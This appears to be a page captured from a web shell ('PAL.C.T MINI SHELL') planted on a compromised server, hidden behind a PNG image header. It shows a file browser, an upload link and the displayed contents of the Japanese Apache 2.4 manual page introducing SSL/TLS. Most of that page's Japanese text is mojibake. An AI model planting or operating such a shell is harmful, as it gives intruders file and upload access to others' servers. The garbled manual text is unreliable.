‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒ̟灙ûŸýÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?ŸqžSXzG'åóay

PAL.C.T MINI SHELL
files >> /opt/lampp/manual/ssl/
upload
files >> //opt/lampp/manual/ssl/ssl_intro.html.ja.utf8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja"><head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      -->
<title>SSL/TLS 暗号化: はじめに - Apache HTTP サヌバ バヌゞョン 2.4</title>
<link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet" />
<link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size" />
<link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css" /><link rel="stylesheet" type="text/css" href="../style/css/prettify.css" />
<script src="../style/scripts/prettify.min.js" type="text/javascript">
</script>

<link href="../images/favicon.ico" rel="shortcut icon" /></head>
<body id="manual-page"><div id="page-header">
<p class="menu"><a href="../mod/">モゞュヌル</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">甚語</a> | <a href="../sitemap.html">サむトマップ</a></p>
<p class="apache">Apache HTTP サヌバ バヌゞョン 2.4</p>
<img alt="" src="../images/feather.gif" /></div>
<div class="up"><a href="./"><img title="&lt;-" alt="&lt;-" src="../images/left.gif" /></a></div>
<div id="path">
<a href="http://www.apache.org/">Apache</a> &gt; <a href="http://httpd.apache.org/">HTTP サヌバ</a> &gt; <a href="http://httpd.apache.org/docs/">ドキュメンテヌション</a> &gt; <a href="../">バヌゞョン 2.4</a> &gt; <a href="./">SSL/TLS</a></div><div id="page-content"><div id="preamble"><h1>SSL/TLS 暗号化: はじめに</h1>
<div class="toplang">
<p><span>翻蚳枈み蚀語: </span><a href="../en/ssl/ssl_intro.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/ssl/ssl_intro.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/ssl/ssl_intro.html" title="Japanese">&nbsp;ja&nbsp;</a></p>
</div>
<div class="outofdate">この日本語蚳はすでに叀くなっおいる
            可胜性がありたす。
            最近曎新された内容を芋るには英語版をご芧䞋さい。
        </div>

<blockquote>
<p>暙準芏栌の良い所は、たくさんの芏栌から遞べるずいうこずだ。
そしお、もし本圓にどの芏栌も気に入らなければ、
䞀幎埅぀だけで探しおいた芏栌が珟れる。</p>

<p class="cite">-- <cite>A. Tanenbaum</cite>, "Introduction to
Computer Networks"</p>
</blockquote>

<p>
入門ずいうこずで、この章は Web、HTTP、Apache に通じおいる
読者向けですが、セキュリティ専門家向けではありたせん。
SSL プロトコルの決定的な手匕きである぀もりはありたせん。
たた、組織内の認蚌管理のための特定のテクニックや、
特蚱や茞出芏制などの重芁な法的な問題に぀いおも扱いたせん。
むしろ、曎なる研究ぞの出発点ずしお色々な抂念、定矩、䟋を䞊べるこずで
<code class="module"><a href="../mod/mod_ssl.html">mod_ssl</a></code> のナヌザに基瀎知識を提䟛する事を目的ずしおいたす。</p>

<p>ここに瀺された内容は䞻に、原著者の蚱可の䞋
The Open Group Research Institute の <a href="http://home.earthlink.net/~fjhirsch/">Frederick J. Hirsch</a>
 氏の蚘事 <a href="http://home.earthlink.net/~fjhirsch/Papers/wwwj/">
Introducing SSL and Certificates using SSLeay</a> を基にしおいたす。
氏の蚘事は <a href="http://www.ora.com/catalog/wjsum97/">Web Security: A Matter of
Trust</a>, World Wide Web Journal, Volume 2, Issue 3, Summer 1997
に掲茉されたした。
肯定的な意芋は <a href="mailto:hirsch@fjhirsch.com">Frederick Hirsch</a> 氏
 (元蚘事の著者) ぞ党おの苊情は <a href="mailto:rse@engelschall.com">Ralf S. Engelschall</a> (
<code class="module"><a href="../mod/mod_ssl.html">mod_ssl</a></code> の䜜者) ぞお願いしたす。
<span class="transnote">(<em>蚳泚:</em> 蚳に぀いおは <a href="mailto:apache-docs@ml.apache.or.jp">
Apache ドキュメント翻蚳プロゞェクト</a>
ぞお願いしたす。)</span></p>
</div>
<div id="quickview"><ul id="toc"><li><img alt="" src="../images/down.gif" /> <a href="#cryptographictech">暗号化技術</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#certificates">蚌明曞</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssl">Secure Sockets Layer (SSL)</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#references">参考文献</a></li>
</ul><ul class="seealso"><li><a href="#comments_section">コメント</a></li></ul></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="cryptographictech" id="cryptographictech">暗号化技術</a></h2>

<p>SSL を理解するには、暗号アルゎリズム、
メッセヌゞダむゞェスト関数(別名: 䞀方向関数、ハッシュ関数)、
電子眲名などぞの理解が必芁です。
これらの技術は本が䞞ごず必芁な題目で
(䟋えば [<a href="#AC96">AC96</a>] を参照)、
プラむバシヌ、信甚、認蚌などの技術の基瀎ずなっおいたす。</p>

<h3><a name="cryptographicalgo" id="cryptographicalgo">暗号アルゎリズム</a></h3>

    <p>䟋えば、アリスが送金のために銀行にメッセヌゞを送りたいずしたす。
    口座番号や送金の金額が含たれるため、
    アリスはそのメッセヌゞを秘密にしたいず思いたす。
    解決方法の䞀぀は暗号アルゎリズムを䜿っお、メッセヌゞを
    埩号されるたで読むこずができない暗号化された
    圢態に倉えおしたうこずです。
    その圢態になるず、
    メッセヌゞは秘密の鍵によっおのみ埩号化するこずができたす。
    鍵なしでは、メッセヌゞは圹に立ちたせん。
    良い暗号アルゎリズムは、䟵入者が元のテキストを解読するこずを
    非垞に難しくするため、努力が割に合わなくさせたす。</p>

    <p>暗号アルゎリズムには
    埓来型ず公開鍵の二぀の皮類がありたす。</p>

    <dl>
    <dt>埓来型暗号</dt>
    <dd>察称暗号ずしおも知られ、
    送信者ず受信者が鍵を共有するこずが必芁です。
    鍵ずは、メッセヌゞを暗号化したり埩号するのに䜿われる秘密
    の情報のこずです。
    この鍵が秘密になっおいる限り、送信者ず受信者以倖は誰もメッセヌゞを読
    むこずができたせん。
    もしも、アリスず銀行が秘密の鍵を知っおいるなら、
    圌らはお互いに秘密のメッセヌゞを送るこずができるでしょう。
    ただし亀信の前に、事前に内密に鍵を共有するずいう䜜業自䜓は難題かもしれたせん。</dd>

    <dt>公開鍵暗号</dt>
    <dd>非察称暗号ずしおも知られ、
    メッセヌゞを暗号化するこずのできる二぀の鍵
    を䜿甚するアルゎリズムを定矩するこずで鍵のやり取りの問題を解決
    したす。
    もし、ある鍵が暗号化に䜿われたなら、
    もう片方の鍵で埩号しなければいけたせん。
    この方匏によっお、䞀぀の鍵を公衚しお(公開鍵)、
    もう片方を秘密にしおおく(秘密鍵)だけで、
    安党なメッセヌゞを受け取るこずができたす。</dd>
    </dl>

    <p>公開鍵を䜿っお誰もがメッセヌゞを暗号化できたすが、秘
    密鍵の持ち䞻だけがそれを読むこずができたす。
    この方法で、銀行の公開鍵を䜿っお暗号化するこずで、
    アリスは秘密のメッセヌゞを送るこずができたす。
    銀行のみが送られたメッセヌゞを埩号するこずができたす。</p>


<h3><a name="messagedigests" id="messagedigests">メッセヌゞダむゞェスト</a></h3>

    <p>アリスはメッセヌゞを秘密にするこずができたすが、
    誰かが䟋えば自分に送金するようにメッセヌゞを倉曎したり、
    別のものに眮き換えおしたうかもしれないずいう問題がありたす。
    アリスのメッセヌゞだずいう信憑性を保蚌する方法の䞀぀は、
    メッセヌゞの簡朔なダむゞェストを䜜っお、それも銀行に送るずいうものです。
    メッセヌゞを受け取るず銀行偎でもダむゞェストを䜜成し、
    アリスが送ったダむゞェストず比べたす。もし䞀臎したなら、
    受け取ったメッセヌゞは無傷だずいうこずになりたす。</p>

    <p>このような芁玄は<dfn>メッセヌゞダむゞェスト</dfn>、
    <em>䞀方行関数</em>、たたは<em>ハッシュ関数</em>ず呌ばれたす。
    メッセヌゞダむゞェストは長い可倉長のメッセヌゞから
    短い固定長の衚珟を䜜るのに䜿われたす。
    ダむゞェストアルゎリズムはメッセヌゞから
    䞀意なダむゞェストを生成するように䜜られおいたす。
    メッセヌゞダむゞェストはダむゞェストから元のメッセヌゞを
    刀定するのがずおも難しいようにできおいお、
    同じ芁玄を䜜成する二぀のメッセヌゞを探すのは(理論䞊)䞍可胜です。
    これによっお、芁玄を倉曎するこずなくメッセヌゞを眮き換えられる
    可胜性を排陀しおいたす。</p>

    <p>アリスぞのもう䞀぀の問題は、このダむゞェストを安党に送る方法を探すこずです。
    ダむゞェストが安党に送られればダむゞェストの信憑性が保障されお、
    ダむゞェストの信憑性をもっおオリゞナルメッセヌゞの信憑性を埗るこずができたす。
    ダむゞェストを安党に送った堎合にのみ、そのメッセヌゞの
    信憑性が埗られたす。</p>

    <p>ダむゞェスト安党に送る方法の䞀぀は、電子眲名に含める方法です。</p>


<h3><a name="digitalsignatures" id="digitalsignatures">電子眲名</a></h3>
<p>アリスが銀行にメッセヌゞを送ったずき、
䟵入者が圌女になりすたしお圌女の口座ぞの取匕を申請できないように、
銀行偎ではメッセヌゞが本圓に圌女からのものか確実に分かるようにしなければなりたせん。
アリスによっお䜜成されお、メッセヌゞに含たれた
<em>電子眲名</em>がここで圹に立ちたす。</p>

<p>電子眲名はメッセヌゞのダむゞェストやその他の情報(凊理番号など)を
送信者の秘密鍵で暗号化するこずで䜜られたす。
誰もが公開鍵を䜿っお眲名を<em>埩号</em>するこずができたすが、
送信者のみが秘密鍵を知っおいたす。
これは送信者のみが眲名しえたこずを意味したす。
ダむゞェストを電子眲名に含むこずは、
その眲名がそのメッセヌゞのみに有効であるこずを意味したす。
これは、誰もダむゞェストを倉えお眲名をするこずができないため、
メッセヌゞの信甚も保蚌したす。</p>

<p>䟵入者が眲名を傍受しお埌日に再利甚するのを防ぐため
電子眲名には䞀意な凊理番号が含たれたす。
これは、アリスがそんなメッセヌゞは送っおいないず蚀う詐欺
から銀行を守りたす。
圌女だけが眲名しえたからです。(吊認防止)</p>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="certificates" id="certificates">蚌明曞</a></h2>

<p>アリスは秘密のメッセヌゞを銀行に送り、
眲名をしお、メッセヌゞの信甚を保蚌するこずができるおうになりたしたが、
通信しおいる盞手が本圓に銀行なのか確かめなくおはいけたせん。
぀たり圌女が䜿おうずしおいる公開鍵が、銀行の秘密鍵ず察になっおいお、
䟵入者の秘密鍵ず察になっおいるわけではないこずを
確かめなくおはいけないこずを意味しおいたす。
同様に銀行は、メッセヌゞの眲名が本圓にアリスの持っおいる
秘密鍵で眲名された眲名かを確認する必芁がありたす。</p>

<p>もし䞡者に身元を蚌明し、公開鍵を確認し、たた信頌された機関が眲名
した蚌明曞があれば、䞡者ずも通信盞手に぀いお正しい盞手だず
確信するこずができたす。
そのような信頌された機関は<em>認蚌局</em>
 (Certificate Authority たたは CA) ず呌ばれ、
蚌明曞 (certificate) が認蚌 (authentication) に䜿われたす。</p>

<h3><a name="certificatecontents" id="certificatecontents">蚌明曞の内容</a></h3>

    <p>蚌明曞は公開鍵ず個人、サヌバ、その他の䞻䜓の実圚の身元を
    関連付けたす。
    <a href="#table1">è¡š1</a>に瀺されるように蚌明察象の情報は
    身元蚌明の情報(識別名)ず公開鍵が含たれたす。
    蚌明曞はたた、認蚌局の身元蚌明ず眲名、そしお蚌明曞の有効期間を
    含みたす。
    シリアルナンバヌなどの認蚌局の管理䞊の情報や
    その他の远加の情報が含たれおいるかもしれたせん。</p>

    <h4><a name="table1" id="table1">è¡š1: 蚌明曞情報</a></h4>
    
    <table>
    
    <tr><th>蚌明察象</th>
        <td>識別名、公開鍵</td></tr>
    <tr><th>発行者</th>
        <td>識別名、公開鍵</td></tr>
    <tr><th>有効期間</th>
        <td>開始日、倱効日</td></tr>
    <tr><th>管理情報</th>
        <td>バヌゞョン、シリアルナンバヌ</td></tr>
    <tr><th>拡匵情報</th>
        <td>基本的な制玄、ネットスケヌプフラッグ、その他</td></tr>
    </table>
    

    <p>識別名(ディスティングむッシュ・ネヌム)は特定の状況における
    身分蚌明を提䟛するのに䜿われおいたす。䟋えば、ある人は
    私甚ず䌚瀟ずで別々の身分蚌明を持぀かもしれたせん。
    
    識別名は X.509 暙準芏栌 [<a href="#X509">X509</a>] で定矩されおいたす。
    X.509 暙準芏栌は、項目、項目名、そしお項目の略称を定矩しおいたす。(<a href="#table2">è¡š
    2</a> 参照)</p>

    <h4><a name="table2" id="table2">è¡š 2: 識別名情報</a></h4>
    
    <table class="bordered">
    
    <tr><th>識別名項目</th>
        <th>略称</th>
        <th>説明</th>
        <th>䟋</th></tr>
    <tr><td>Common Name (コモンネヌム)</td>
        <td>CN</td>
        <td>認蚌される名前<br />
        SSL接続するURL</td>
        <td>CN=www.example.com</td></tr>
    <tr><td>Organization or Company (組織名)</td>
        <td>O</td>
        <td>団䜓の正匏英語組織名</td>
        <td>O=Example Japan K.K.</td></tr>
    <tr><td>Organizational Unit (郚門名)</td>
        <td>OU</td>
        <td>郚眲名など</td>
        <td>OU=Customer Service</td></tr>
    <tr><td>City/Locality (垂区町村)</td>
        <td>L</td>
        <td>所圚しおる垂区町村</td>
        <td>L=Sapporo</td></tr>
    <tr><td>State/Province (郜道府県)</td>
        <td>ST</td>
        <td>所圚しおる郜道府県</td>
        <td>ST=Hokkaido</td></tr>
    <tr><td>Country(囜)</td>
        <td>C</td>
        <td>所圚しおいる囜名の ISO コヌド<br />
        日本の堎合 JP
        </td>
        <td>C=JP</td></tr>
    </table>
    

    <p>認蚌局はどの項目が省略可胜でどれが必須かの方針を定矩する
    かもしれたせん。項目の内容に぀いおも認蚌局や蚌明曞のナヌザからの
    芁件があるかもしれたせん。
    䟋えばネットスケヌプのブラりザは、サヌバの蚌明曞の
     Common Name (コモンネヌム)がサヌバのドメむン名の
     <code>*.snakeoil.com</code> 
    ずいうようなワむルドカヌドのパタヌンにマッチするこず
    を芁求したす。</p>

    <p>バむナリ圢匏の蚌明曞は ASN.1 衚蚘法
     [<a href="#X208">X208</a>] [<a href="#PKCS">PKCS</a>] で
    定矩されおいたす。
    この衚蚘法は内容をどのように蚘述するかを定矩し、
    笊号化の芏定がこの情報がどのようにバむナリ圢匏に倉換されるかを
    定矩したす。
    蚌明曞のバむナリ笊号化は Distinguished Encoding
    Rules (DER) で定矩され、それはより䞀般的な Basic Encoding Rules
    (BER) に基づいおいたす。
    バむナリ圢匏を扱うこずのできない送信では、
    バむナリ圢匏は Base64 笊号化 [<a href="#MIME">MIME</a>] で
    ASCII 圢匏に倉換されるこずがありたす。
    開始デリミタ行ず終了デリミタ行で囲たれた、この圢匏のこずを
    PEM ("Privacy Enhanced Mail") 笊号化された蚌明曞ず蚀いたす。</p>

    <div class="example"><h3>PEM 笊号化された蚌明曞の䟋 (example.crt)</h3><pre>-----BEGIN CERTIFICATE-----
MIIC7jCCAlegAwIBAgIBATANBgkqhkiG9w0BAQQFADCBqTELMAkGA1UEBhMCWFkx
FTATBgNVBAgTDFNuYWtlIERlc2VydDETMBEGA1UEBxMKU25ha2UgVG93bjEXMBUG
A1UEChMOU25ha2UgT2lsLCBMdGQxHjAcBgNVBAsTFUNlcnRpZmljYXRlIEF1dGhv
cml0eTEVMBMGA1UEAxMMU25ha2UgT2lsIENBMR4wHAYJKoZIhvcNAQkBFg9jYUBz
bmFrZW9pbC5kb20wHhcNOTgxMDIxMDg1ODM2WhcNOTkxMDIxMDg1ODM2WjCBpzEL
MAkGA1UEBhMCWFkxFTATBgNVBAgTDFNuYWtlIERlc2VydDETMBEGA1UEBxMKU25h
a2UgVG93bjEXMBUGA1UEChMOU25ha2UgT2lsLCBMdGQxFzAVBgNVBAsTDldlYnNl
cnZlciBUZWFtMRkwFwYDVQQDExB3d3cuc25ha2VvaWwuZG9tMR8wHQYJKoZIhvcN
AQkBFhB3d3dAc25ha2VvaWwuZG9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB
gQDH9Ge/s2zcH+da+rPTx/DPRp3xGjHZ4GG6pCmvADIEtBtKBFAcZ64n+Dy7Np8b
vKR+yy5DGQiijsH1D/j8HlGE+q4TZ8OFk7BNBFazHxFbYI4OKMiCxdKzdif1yfaa
lWoANFlAzlSdbxeGVHoT0K+gT5w3UxwZKv2DLbCTzLZyPwIDAQABoyYwJDAPBgNV
HRMECDAGAQH/AgEAMBEGCWCGSAGG+EIBAQQEAwIAQDANBgkqhkiG9w0BAQQFAAOB
gQAZUIHAL4D09oE6Lv2k56Gp38OBDuILvwLg1v1KL8mQR+KFjghCrtpqaztZqcDt
2q2QoyulCgSzHbEGmi0EsdkPfg6mp0penssIFePYNI+/8u9HT4LuKMJX15hxBam7
dUHzICxBVC1lnHyYGjDuAMhe396lYAn8bCld1/L4NMGBCQ==
-----END CERTIFICATE-----</pre></div>


<h3><a name="certificateauthorities" id="certificateauthorities">認蚌局</a></h3>

    <p>蚌明曞を承認する前に、蚌明曞芁求に蚘茉されおいる情報を確認し、
    認蚌局は鍵の所有者の身元を確認したす。
    䟋えば、アリスが個人蚌明曞を申請したずするず、
    認蚌局はアリスが蚌明曞の申請が䞻匵する通りの
    圓の本人だずいうこずを確認しなくおはいけたせん。</p>

    <h4><a name="certificatechains" id="certificatechains">蚌明曞の連鎖</a></h4>
    
        <p>認蚌局は他の認蚌局ぞの蚌明曞を発行するこずができたす。
        未知の蚌明曞を調べる時に、アリスはその蚌明曞の発行者
        に自信が持おるたで、発行者の蚌明曞を
        その䞊䜍階局の認蚌局をたどっお調べる必芁がありたす。
        「悪質な」蚌明曞の危険性を枛らすため、
        圌女は限られた連鎖の発行者のみ信頌するように
        決めるこずもできたす。</p>
    

    <h4><a name="rootlevelca" id="rootlevelca">最䞊䜍認蚌局の䜜成</a></h4>
    
        <p>前に述べたように、党おの蚌明曞に぀いお、
        最䞊䜍の認蚌局(CA)たでそれぞれの発行者が
        察象の身元蚌明の有効性を明らかにする必芁がありたす。
        問題は、誰がその最䞊䜍の認蚌機関の蚌明曞を保蚌するのか、
        ずいうこずです。
        このような堎合に限り、蚌明曞は「自己眲名」されたす。
        ブラりザには、ずおもよく知られおいる認蚌局が初期登録されおいたすが、
        自己眲名された蚌明曞を信甚する際には
        现心の泚意が必芁です。
        最䞊䜍認蚌局が公開鍵を広く公衚するこずで、
        その鍵を信頌するリスクを䜎くするこずができたす。
        もし、他人がその認蚌局になりすたした時に、それが露芋しや
        すいからです。</p>

        <p><a href="http://www.thawte.com/">Thawte</a> 
        や <a href="http://www.verisign.com/">VeriSign</a> 
        のような倚くの䌚瀟が認蚌局ずしお開蚭したした。
        このような䌚瀟は以䞋のサヌビスを提䟛したす:</p>

        <ul>
        <li>蚌明曞申請の確認</li>
        <li>蚌明曞申請の凊理</li>
        <li>蚌明曞の発行ず管理</li>
        </ul>

        <p>自分で認蚌局を䜜るこずも可胜です。
        むンタヌネット環境では危険ですが、
        個人やサヌバの身元蚌明が簡単に行える組織の
        むントラネット内では圹に立぀かもしれたせん。</p>
    

    <h4><a name="certificatemanagement" id="certificatemanagement">蚌明曞管理</a></h4>
    
        <p>認蚌局の開蚭は培底した管理、技術、運甚の䜓制を必芁ずする
        責任のある仕事です。
        認蚌局は蚌明曞を発行するだけでなく、
        管理もしなければなりたせん。
        具䜓的には、蚌明曞がい぀たで有効であり続けるかを決定し、曎新し、
        たた過去発行されお倱効した蚌明曞のリスト
        (Certificate Revocation Lists たたは CRL)
        を管理しなければいけたせん。</p>
        
        <p>䟋えばアリスが過去、䌚瀟の瀟員であるこずを蚌明する蚌明曞を持っおいたが、
        珟圚は退職しおいた際、その蚌明曞は倱効されなければなりたせん。
        蚌明曞は次々ず人に枡されおいくものなので、
        蚌明曞そのものから、それが取り消されたか刀断するこずは
        䞍可胜です。
        よっお、蚌明曞の有効性を調べるずきには、
        認蚌局に連絡しお CRL を照合する必芁がありたす。
        普通この過皋は自動化されおいるものではありたせん。</p>

        <div class="note"><h3>泚意</h3>
        <p>ブラりザに信甚できる認蚌局ずしおデフォルトで登録されおいない
        認蚌局を䜿おうずした堎合、
        認蚌局の蚌明曞をブラりザに読み蟌んで、
        ブラりザがその認蚌局によっお眲名されたサヌバの蚌明曞を
        有効にする必芁がありたす。
        䞀床読み蟌たれるず、その認蚌局によっお眲名された党おの
        蚌明曞を受け入れるため、危険を䌎いたす。</p>
        </div>
    


</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="ssl" id="ssl">Secure Sockets Layer (SSL)</a></h2>

<p>Secure Sockets Layer プロトコルは信頌性のあるコネクション型の
ネットワヌク局のプロトコル(䟋えば、TCP/IP)ず
アプリケヌション局のプロトコル(䟋えば、HTTP)
の間に眮くこずができたす。
SSL は、盞互認蚌によっおサヌバずクラむアント間の安党な通信を、
電子眲名によっおデヌタの完党性を、
そしお暗号化によっおプラむバシを提䟛したす。</p>

<p>SSL プロトコルは暗号化、ダむゞェスト、電子眲名に぀いお、
様々なアルゎリズムをサポヌトするようにできおいたす。
こうするこずで、法や茞出の芏制を考慮に入れお、サヌバに合わせた
アルゎリズムを遞ぶこずができ、たた、新しいアルゎリズムを
利甚しおいくこずも可胜にしおいたす。
アルゎリズムの遞択はプロトコルセッション開始時に
サヌバずクラむアント間で取り決められたす。</p>

<h3><a name="table4" id="table4">è¡š4: SSL プロトコルのバヌゞョン</a></h3>

    <table class="bordered">
    
    <tr><th>バヌゞョン</th>
        <th>出兞</th>
        <th>説明</th>
        <th>ブラりザのサポヌト</th></tr>
    <tr><td>SSL v2.0</td>
        <td>Vendor Standard (Netscape Corp. より) [<a href="#SSL2">SSL2</a>]</td>
        <td>実装が珟存する初めおの SSL プロトコル</td>
        <td>- NS Navigator 1.x/2.x<br />
        - MS IE 3.x<br />
        - Lynx/2.8+OpenSSL</td></tr>
    <tr><td>SSL v3.0</td>
        <td>Expired Internet Draft (Netscape Corp. より) [<a href="#SSL3">SSL3</a>]</td>
        <td>特定のセキュリティ攻撃を防ぐための改蚂、
        非RSA 暗号の远加、蚌明曞階局構造のサポヌト</td>
        <td>- NS Navigator 2.x/3.x/4.x<br />
        - MS IE 3.x/4.x<br />
        - Lynx/2.8+OpenSSL</td></tr>
    <tr><td>TLS v1.0</td>
        <td>Proposed Internet Standard (IETF より) [<a href="#TLS1">TLS1</a>]</td>
        <td>MAC レむダを HMAC ぞ曎新、ブロック暗号の block
        padding、メッセヌゞ順序の暙準化、譊告文の充実などのため
        SSL 3.0 を改蚂。</td>
        <td>- Lynx/2.8+OpenSSL</td></tr>
    </table>


<p><a href="#table4">è¡š4</a>に瀺されるずおり、SSL プロトコルには
いく぀ものバヌゞョンがありたす。
衚にも曞かれおいるように、SSL 3.0 の利点の䞀぀は
蚌明曞階局構造をサポヌトするこずです。
この機胜によっお、サヌバは自分の蚌明曞に加えお、
発行者の蚌明曞をブラりザに枡すこずができたす。
蚌明曞階局構造によっお、
ブラりザに発行者の蚌明曞が盎接登録されおいなくおも、
階局の䞭に含たれおいれば、
ブラりザはサヌバの蚌明曞を有効化するこずができたす。
SSL 3.0 は珟圚 Internet Engineering Task Force (IETF) 
によっお開発されおいる Transport Layer Security 
[<a href="#TLS1">TLS</a>] プロトコル暙準芏栌の基瀎ずなっおいたす。</p>

<h3><a name="session" id="session">セッションの確立</a></h3>

    <p><a href="#figure1">図1</a>で瀺されるように、
    セッションの確立はクラむアントずサヌバ間の
    ハンドシェヌクシヌク゚ンスによっお行なわれたす。
    サヌバが蚌明曞を提䟛するか、クラむアントの蚌明曞をリク゚ストするか
    ずいうサヌバの蚭定により、このシヌク゚ンスは異なるものずなりたす。
    暗号情報の管理のために、远加のハンドシェヌク過皋が必芁になる
    堎合もありたすが、この蚘事では
    よくあるシナリオを手短に説明したす。
    党おの可胜性に぀いは、SSL 仕様曞を参照しおください。</p>

    <div class="note"><h3>泚意</h3>
    <p>䞀床 SSL セッションが確立するず、セッションを再利甚するこずで、
    セッションを開始するための倚くの過皋を繰り返すずいう
    パフォヌマンスの損倱を防ぎたす。
    そのため、サヌバは党おのセッションに䞀意なセッション識別名を
    割り圓お、サヌバにキャッシュし、クラむアントは次回から
    (識別名がサヌバのキャッシュで期限切れになるたでは)
    ハンドシェヌクなしで接続するこずができたす。</p>
    </div>

    <p class="figure">
    <img src="../images/ssl_intro_fig1.gif" alt="" width="423" height="327" /><br />
    <a id="figure1" name="figure1"><dfn>図1</dfn></a>: SSL
    ハンドシェヌクシヌク゚ンス抂略</p>

    <p>サヌバずクラむアントで䜿われる
    ハンドシェヌクシヌク゚ンスの芁玠を以䞋に瀺したす:</p>

    <ol>
    <li>デヌタ通信に䜿われる暗号スむヌトの取り決め</li>
    <li>クラむアントずサヌバ間でのセッション鍵の確立ず共有</li>
    <li>オプションずしお、クラむアントに察するサヌバの認蚌</li>
    <li>オプションずしお、サヌバに察するクラむアントの認蚌</li>
    </ol>

    <p>第䞀ステップの暗号スむヌト取り決めによっお、
    サヌバずクラむアントはそれぞれにあった
    暗号スむヌトを遞ぶこずができたす。
    SSL3.0 プロトコルの仕様曞は 31 の暗号スむヌトを定矩しおいたす。
    暗号スむヌトは以䞋のコンポヌネントにより定矩されおいたす:</p>

    <ul>
    <li>鍵の亀換手段</li>
    <li>デヌタ通信の暗号術</li>
    <li>Message Authentication Code (MAC) 䜜成のための
    メッセヌゞダむゞェスト</li>
    </ul>

    <p>これらの䞉぀の芁玠は以䞋のセクションで説明されおいたす。</p>


<h3><a name="keyexchange" id="keyexchange">鍵の亀換手段</a></h3>

    <p>鍵の亀換手段はアプリケヌションのデヌタ通信に䜿われ、
    共有される察称暗号鍵をどのようにがクラむアントずサヌバで
    取り決めるかを定矩したす。
    SSL 2.0 は RSA 鍵亀換しか䜿いたせんが、
    SSL 3.0 は (蚌明曞が䜿われるずきの) RSA 鍵亀換や、
    (蚌明曞無しの堎合やクラむアントずサヌバの事前の通信が無い堎合の)
    Diffie-Hellman 鍵亀換
    など様々な鍵亀換アルゎリズムをサポヌトしたす。</p>

    <p>鍵の亀換方法における䞀぀の遞択肢は電子眲名です。
    電子眲名を䜿うかどうか、たた、
    どの皮類の眲名を䜿うかずいう遞択がありたす。
    秘密鍵で眲名するこずで共有鍵を保護し、情報亀換する時の
    マン・むン・ザ・ミドル攻撃を防ぐこずができたす。
    [<a href="#AC96">AC96</a>, p516]</p>


<h3><a name="ciphertransfer" id="ciphertransfer">デヌタ通信の暗号術</a></h3>

    <p>SSL はセッションのメッセヌゞの暗号化に前述した
    察称暗号方匏を甚いたす。
    暗号化しないずいう遞択肢も含め九぀の暗号方匏の遞択肢がありたす:</p>

    <ul>
    <li>暗号化なし</li>
    <li>ストリヌム暗号
        <ul>
        <li>40-bit 鍵での RC4</li>
        <li>128-bit 鍵での RC4</li>
        </ul></li>
    <li>CBC ブロック暗号
        <ul><li>40 bit 鍵での RC2</li>
        <li>40 bit 鍵での DES</li>
        <li>56 bit 鍵での DES</li>
        <li>168 bit 鍵での Triple-DES</li>
        <li>Idea (128 bit 鍵)</li>
        <li>Fortezza (96 bit 鍵)</li>
        </ul></li>
    </ul>

    <p>CBC ずは暗号ブロック連鎖 (Cipher Block Chaining)
     の略で、䞀぀前の暗号化された暗号文の䞀郚が
    ブロックの暗号化に䜿われるこずを意味したす。
    DES はデヌタ暗号化暙準芏栌 (Data Encryption Standard)
     [<a href="#AC96">AC96</a>, ch12] の略で、
    DES40 や 3DES_EDE を含むいく぀もの皮類がありたす。
    Idea は珟圚最高なものの䞀぀で、暗号術的には珟圚ある䞭で
    最も匷力なものです。
    RC2 は RSA DSI による独占的なアルゎリズムです。
     [<a href="#AC96">AC96</a>,
    ch13]</p>


<h3><a name="digestfuntion" id="digestfuntion">ダむゞェスト関数</a></h3>

    <p>
    ダむゞェスト関数の遞択はレコヌドナニットからどのようにダむゞェストが生成されるかを決定したす。
    SSL は以䞋をサポヌトしたす:</p>

    <ul>
    <li>ダむゞェストなし</li>
    <li>MD5 (128-bit ハッシュ)</li>
    <li>Secure Hash Algorithm (SHA-1) (160-bit ハッシュ)</li>
    </ul>

    <p>メッセヌゞダむゞェストは Message Authentication Code (MAC) 
    の生成に䜿われ、メッセヌゞず共に暗号化され、メッセヌゞの信憑性を
    確認し、リプレむ攻撃を防ぎたす。</p>


<h3><a name="handshake" id="handshake">ハンドシェヌクシヌク゚ンスプロトコル</a></h3>

